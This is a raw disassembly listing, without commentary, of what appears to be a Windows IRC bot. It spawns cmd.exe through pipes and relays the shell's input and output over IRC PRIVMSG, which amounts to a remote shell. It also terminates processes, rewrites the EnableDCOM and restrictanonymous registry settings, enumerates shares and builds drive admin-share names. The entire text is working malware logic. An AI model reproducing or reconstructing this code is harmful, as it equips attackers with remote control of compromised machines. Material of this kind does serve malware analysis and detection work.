		call	sub_41BEF6
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419FBC
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409743
		add	esp, 14h


loc_419FBC:				; CODE XREF: sub_419F5D+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419D3A
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_419FEA
		push	offset unk_43C914
		jmp	short loc_419FEF
; ---------------------------------------------------------------------------


loc_419FEA:				; CODE XREF: sub_419F5D+84j
		push	offset unk_43C8D8


loc_419FEF:				; CODE XREF: sub_419F5D+8Bj
		push	eax
		call	sub_41BEF6
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41A01C
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409743
		add	esp, 14h


loc_41A01C:				; CODE XREF: sub_419F5D+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415F45
		push	[ebp+var_14]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_419F5D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A03B	proc near		; CODE XREF: sub_401AA1+7683p
					; sub_40B38F+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_42808C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_41A06D
		push	0
		push	esi
		call	dword_428100	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A06D
		push	esi
		xor	edi, edi
		call	dword_428070	; CloseHandle


loc_41A06D:				; CODE XREF: sub_41A03B+1Aj
					; sub_41A03B+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41A03B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41A072	proc near		; DATA XREF: sub_40121E+3B8o
		push	esi
		xor	esi, esi


loc_41A075:				; CODE XREF: sub_41A072+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_419D3A
		add	esp, 18h
		push	dword_43C718
		call	dword_428080	; Sleep
		jmp	short loc_41A075
sub_41A072	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A092	proc near		; CODE XREF: sub_41A0C2+2Ap
					; sub_41A0FA+7Ep ...
		mov	eax, dword_4DE54C
		push	esi
		mov	esi, dword_428070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A0A6
		push	eax
		call	esi	; CloseHandle


loc_41A0A6:				; CODE XREF: sub_41A092+Fj
		mov	eax, dword_4DE554
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A0B3
		push	eax
		call	esi	; CloseHandle


loc_41A0B3:				; CODE XREF: sub_41A092+1Cj
		mov	eax, dword_4DE548
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A0C0
		push	eax
		call	esi	; CloseHandle


loc_41A0C0:				; CODE XREF: sub_41A092+29j
		pop	esi
		retn
sub_41A092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0C2	proc near		; CODE XREF: sub_401AA1+73CFp
					; sub_41620D+14Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B650
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DE550
		call	dword_4280F0	; WriteFile
		test	eax, eax
		jnz	short loc_41A0F5
		call	sub_41A092
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A0F5:				; CODE XREF: sub_41A0C2+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_41A0C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0FA	proc near		; CODE XREF: sub_41A181+D3p
					; sub_41A181+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4404C4
		push	[ebp+arg_4]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A13D
		push	7D0h
		call	dword_428080	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41BEF6
		add	esp, 10h
		jmp	short loc_41A154
; ---------------------------------------------------------------------------


loc_41A13D:				; CODE XREF: sub_41A0FA+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch


loc_41A154:				; CODE XREF: sub_41A0FA+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE358	; send
		test	eax, eax
		jg	short loc_41A17D
		call	sub_41A092


loc_41A17D:				; CODE XREF: sub_41A0FA+7Cj
		xor	eax, eax
		leave
		retn
sub_41A0FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A181	proc near		; DATA XREF: sub_41A2D6+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DE558


loc_41A199:				; CODE XREF: sub_41A181+79j
					; sub_41A181+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DE54C
		call	dword_428198	; PeekNamedPipe
		test	eax, eax
		jz	loc_41A267
		cmp	[ebp+var_4], edi
		jnz	short loc_41A1FC
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DE548
		call	dword_428194	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_41A1F2
		cmp	[ebp+var_8], 103h
		jnz	loc_41A28B


loc_41A1F2:				; CODE XREF: sub_41A181+62j
		push	0Ah
		call	dword_428080	; Sleep
		jmp	short loc_41A199
; ---------------------------------------------------------------------------


loc_41A1FC:				; CODE XREF: sub_41A181+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A213


loc_41A203:				; CODE XREF: sub_41A181+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A261
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A203


loc_41A213:				; CODE XREF: sub_41A181+80j
		mov	[ebp+var_4], esi


loc_41A216:				; CODE XREF: sub_41A181+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DE54C
		call	dword_4280EC	; ReadFile
		test	eax, eax
		jz	short loc_41A2B3
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DE58C
		call	sub_41A0FA
		add	esp, 0Ch
		jmp	loc_41A199
; ---------------------------------------------------------------------------


loc_41A261:				; CODE XREF: sub_41A181+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A216
; ---------------------------------------------------------------------------


loc_41A267:				; CODE XREF: sub_41A181+45j
		push	offset unk_43C9FC
		push	ebx
		push	dword_4DE58C
		call	sub_41A0FA
		push	[ebp+arg_0]
		call	sub_40B56A
		add	esp, 10h
		push	1
		call	dword_4280D4	; ExitThread


loc_41A28B:				; CODE XREF: sub_41A181+6Bj
		call	sub_41A092
		push	offset unk_43C9D4
		push	ebx
		push	dword_4DE58C
		call	sub_41A0FA
		push	[ebp+arg_0]
		call	sub_40B56A
		add	esp, 10h
		push	edi
		call	dword_4280D4	; ExitThread


loc_41A2B3:				; CODE XREF: sub_41A181+C3j
		push	offset unk_43C9A4
		push	ebx
		push	dword_4DE58C
		call	sub_41A0FA
		push	[ebp+arg_0]
		call	sub_40B56A
		add	esp, 10h
		push	edi
		call	dword_4280D4	; ExitThread
sub_41A181	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2D6	proc near		; CODE XREF: sub_401AA1+246Dp
					; sub_41620D+99p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_41A092
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_4CE3C0	; SearchPathA
		test	eax, eax
		jz	loc_41A3D0
		lea	eax, [ebp+var_1C]
		mov	edi, dword_42810C
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A3D0
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_41A3D0
		mov	edi, dword_428108
		push	3
		push	esi
		push	esi
		push	offset dword_4DE550
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_428104	; DuplicateHandle
		test	eax, eax
		jz	short loc_41A3D0
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BC00
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BC00
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_4404C4
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_428074	; CreateProcessA
		test	eax, eax
		jnz	short loc_41A3D8


loc_41A3D0:				; CODE XREF: sub_41A2D6+2Fj
					; sub_41A2D6+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A486
; ---------------------------------------------------------------------------


loc_41A3D8:				; CODE XREF: sub_41A2D6+F8j
		push	[ebp+var_4]
		mov	edi, dword_428070
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DE54C, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DE554, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DE548, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DE58C, eax
		jz	short loc_41A412
		push	[ebp+arg_4]
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A412:				; CODE XREF: sub_41A2D6+135j
		push	ebx


loc_41A413:				; CODE XREF: sub_41A2D6+13Aj
		push	offset dword_4DE558
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43CA60
		call	sub_40B254
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_441250[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A181
		push	esi
		push	esi
		call	dword_428084	; CreateThread
		cmp	eax, esi
		mov	dword_44125C[edi], eax
		jnz	short loc_41A484
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43CA2C
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415F45
		add	esp, 10h


loc_41A484:				; CODE XREF: sub_41A2D6+185j
		xor	eax, eax


loc_41A486:				; CODE XREF: sub_41A2D6+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A2D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A48B	proc near		; DATA XREF: sub_401AA1+2DBCo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A4D2
		call	sub_41A4EB
		jmp	short loc_41A4D7
; ---------------------------------------------------------------------------


loc_41A4D2:				; CODE XREF: sub_41A48B+3Ej
		call	sub_41A811


loc_41A4D7:				; CODE XREF: sub_41A48B+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B56A
		pop	ecx
		push	0
		call	dword_4280D4	; ExitThread
sub_41A48B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4EB	proc near		; CODE XREF: sub_41A48B+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CE3D4, edi
		jnz	loc_41A61D
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CE378	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A576
		mov	ax, word_43B728
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CE32C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41A55E
		push	offset dword_43CE28
		jmp	short loc_41A563
; ---------------------------------------------------------------------------


loc_41A55E:				; CODE XREF: sub_41A4EB+6Aj
		push	offset dword_43CDF0


loc_41A563:				; CODE XREF: sub_41A4EB+71j
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CE2E4	; RegCloseKey
		jmp	short loc_41A589
; ---------------------------------------------------------------------------


loc_41A576:				; CODE XREF: sub_41A4EB+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43CDA8
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_41A589:				; CODE XREF: sub_41A4EB+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5A8
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A5A8:				; CODE XREF: sub_41A4EB+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415F45
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CE378	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A616
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CE32C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_41A5FE
		push	offset dword_43CD40
		jmp	short loc_41A603
; ---------------------------------------------------------------------------


loc_41A5FE:				; CODE XREF: sub_41A4EB+10Aj
		push	offset dword_43CCF0


loc_41A603:				; CODE XREF: sub_41A4EB+111j
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CE2E4	; RegCloseKey
		jmp	short loc_41A630
; ---------------------------------------------------------------------------


loc_41A616:				; CODE XREF: sub_41A4EB+E2j
		push	offset dword_43CC98
		jmp	short loc_41A622
; ---------------------------------------------------------------------------


loc_41A61D:				; CODE XREF: sub_41A4EB+13j
		push	offset dword_43CC50


loc_41A622:				; CODE XREF: sub_41A4EB+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_41A630:				; CODE XREF: sub_41A4EB+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A64F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A64F:				; CODE XREF: sub_41A4EB+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415F45
		cmp	dword_4CE3FC, edi
		pop	ecx
		jnz	loc_41A7CC
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A672:				; CODE XREF: sub_41A4EB+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CE24C
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A711
		cmp	eax, 0EAh
		jz	short loc_41A711
		xor	esi, esi


loc_41A6A0:				; CODE XREF: sub_41A4EB+21Fj
		push	off_43CA84[esi]
		push	edi
		call	sub_41930F
		pop	ecx
		pop	ecx
		push	off_43CA84[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41A6C5
		push	offset dword_43CC14
		jmp	short loc_41A6CA
; ---------------------------------------------------------------------------


loc_41A6C5:				; CODE XREF: sub_41A4EB+1D1j
		push	offset dword_43CBD0


loc_41A6CA:				; CODE XREF: sub_41A4EB+1D8j
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6F7
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A6F7:				; CODE XREF: sub_41A4EB+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415F45
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_41A6A0
		jmp	loc_41A7A9
; ---------------------------------------------------------------------------


loc_41A711:				; CODE XREF: sub_41A4EB+1AAj
					; sub_41A4EB+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A7A0


loc_41A720:				; CODE XREF: sub_41A4EB+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_41DEB7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A795
		push	edi
		call	sub_4191FC
		push	eax
		push	0
		call	sub_41930F
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41A755
		push	offset dword_43CB94
		jmp	short loc_41A75A
; ---------------------------------------------------------------------------


loc_41A755:				; CODE XREF: sub_41A4EB+261j
		push	offset dword_43CB50


loc_41A75A:				; CODE XREF: sub_41A4EB+268j
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A788
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A788:				; CODE XREF: sub_41A4EB+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415F45
		pop	ecx


loc_41A795:				; CODE XREF: sub_41A4EB+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A720
		xor	edi, edi


loc_41A7A0:				; CODE XREF: sub_41A4EB+22Fj
		push	[ebp+var_8]
		call	dword_4CE398


loc_41A7A9:				; CODE XREF: sub_41A4EB+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A672
		lea	eax, [ebp+var_214]
		push	offset dword_43CB10
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A7DF
; ---------------------------------------------------------------------------


loc_41A7CC:				; CODE XREF: sub_41A4EB+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43CAC8
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_41A7DF:				; CODE XREF: sub_41A4EB+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A7FD
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A7FD:				; CODE XREF: sub_41A4EB+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415F45
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_41A4EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A811	proc near		; CODE XREF: sub_41A48B:loc_41A4D2p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CE3D4, ebx
		push	esi
		jnz	loc_41A93F
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CE378	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A89C
		mov	ax, word_43B76C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B650
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CE32C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41A884
		push	offset dword_43D064
		jmp	short loc_41A889
; ---------------------------------------------------------------------------


loc_41A884:				; CODE XREF: sub_41A811+6Aj
		push	offset dword_43D030


loc_41A889:				; CODE XREF: sub_41A811+71j
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CE2E4	; RegCloseKey
		jmp	short loc_41A8AF
; ---------------------------------------------------------------------------


loc_41A89C:				; CODE XREF: sub_41A811+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43CDA8
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_41A8AF:				; CODE XREF: sub_41A811+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8CE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A8CE:				; CODE XREF: sub_41A811+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415F45
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CE378	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A938
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CE32C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41A920
		push	offset dword_43CFD8
		jmp	short loc_41A925
; ---------------------------------------------------------------------------


loc_41A920:				; CODE XREF: sub_41A811+106j
		push	offset dword_43CF88


loc_41A925:				; CODE XREF: sub_41A811+10Dj
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CE2E4	; RegCloseKey
		jmp	short loc_41A952
; ---------------------------------------------------------------------------


loc_41A938:				; CODE XREF: sub_41A811+E2j
		push	offset dword_43CF30
		jmp	short loc_41A944
; ---------------------------------------------------------------------------


loc_41A93F:				; CODE XREF: sub_41A811+13j
		push	offset dword_43CC50


loc_41A944:				; CODE XREF: sub_41A811+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BEF6
		pop	ecx
		pop	ecx


loc_41A952:				; CODE XREF: sub_41A811+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A971
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A971:				; CODE XREF: sub_41A811+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415F45
		cmp	dword_4CE3FC, ebx
		pop	ecx
		jnz	loc_41AAE8
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_41A992:				; CODE XREF: sub_41A811+1EEj
		push	dword_43CA88[esi]
		push	off_43CA84[esi]
		push	ebx
		call	sub_419263
		add	esp, 0Ch
		push	off_43CA84[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41A9BE
		push	offset dword_43CEF8
		jmp	short loc_41A9C3
; ---------------------------------------------------------------------------


loc_41A9BE:				; CODE XREF: sub_41A811+1A4j
		push	offset dword_43CEB8


loc_41A9C3:				; CODE XREF: sub_41A811+1ABj
		push	edi
		push	eax
		call	sub_41BFF0
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9EC
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409743
		add	esp, 14h


loc_41A9EC:				; CODE XREF: sub_41A811+1BFj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415F45
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_41A992
		call	dword_42819C	; GetLogicalDrives
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41AAD0


loc_41AA14:				; CODE XREF: sub_41A811+2B9j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41AAC5
		cmp	bl, 41h
		jz	loc_41AAC5
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41BFF0
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41BFF0
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CE368	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41AAC5
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
